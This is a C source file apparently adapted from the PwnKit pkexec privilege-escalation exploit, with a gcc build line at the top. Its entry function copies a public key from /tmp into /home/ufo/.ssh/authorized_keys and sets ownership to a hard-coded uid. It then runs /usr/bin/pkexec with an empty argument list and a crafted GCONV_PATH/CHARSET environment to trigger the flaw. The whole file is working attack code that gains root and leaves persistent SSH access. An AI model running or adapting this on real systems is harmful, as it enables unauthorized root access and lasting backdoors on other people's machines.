// gcc -shared PwnKit_ssh.c -o PwnKit_ssh -Wl,-e,entry -fPIC

#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>

// Modified to set up SSH key for ufo user

void entry() {
    puts("[*] PwnKit SSH Setup - setting up ufo user SSH key");

    // Create .ssh directory
    mkdir("/home/ufo/.ssh", 0700);
    
    // Copy the SSH key
    int src = open("/tmp/ufo_key.pub", O_RDONLY);
    int dst = open("/home/ufo/.ssh/authorized_keys", O_WRONLY | O_CREAT | O_TRUNC, 0600);
    if (src >= 0 && dst >= 0) {
        char buf[4096];
        ssize_t n;
        while ((n = read(src, buf, sizeof(buf))) > 0) {
            write(dst, buf, n);
        }
        close(src);
        close(dst);
        puts("[+] authorized_keys written successfully");
    } else {
        printf("[-] Failed: src=%d dst=%d\n", src, dst);
    }
    
    // Fix ownership
    chown("/home/ufo/.ssh", 1002, 1004);  // ufo uid=1002 gid=1004
    chown("/home/ufo/.ssh/authorized_keys", 1002, 1004);
    chmod("/home/ufo/.ssh", 0700);
    chmod("/home/ufo/.ssh/authorized_keys", 0600);
    
    puts("[+] Permissions fixed");

    // Load pkexec exploit
    char *args[] = {NULL};
    char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", NULL};
    execve("/usr/bin/pkexec", args, env);
    _exit(0);
}